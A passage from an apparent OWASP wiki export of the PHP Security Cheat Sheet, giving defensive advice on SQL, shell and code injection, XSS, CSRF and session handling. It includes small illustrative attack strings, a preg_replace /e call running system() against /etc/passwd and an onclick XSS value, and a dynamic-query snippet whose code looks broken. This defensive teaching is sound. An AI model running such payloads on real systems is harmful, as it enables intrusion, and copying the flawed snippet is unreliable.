        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170321</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170321"/>
				<updated>2014-03-17T22:26:39Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: More minor edits: replacing inch marks and foot marks with correct apostrophes and quotes; replacing the dash with en- or em-dashes. Wrapping function names in &amp;lt;code&amp;gt; tags.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 72% of web servers deploying it.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
There are, unfortunately, serious issues in all areas that make it difficult to write secure PHP applications. These are difficult to work around if you are forced to use PHP, but you need to be aware of them.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions, and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
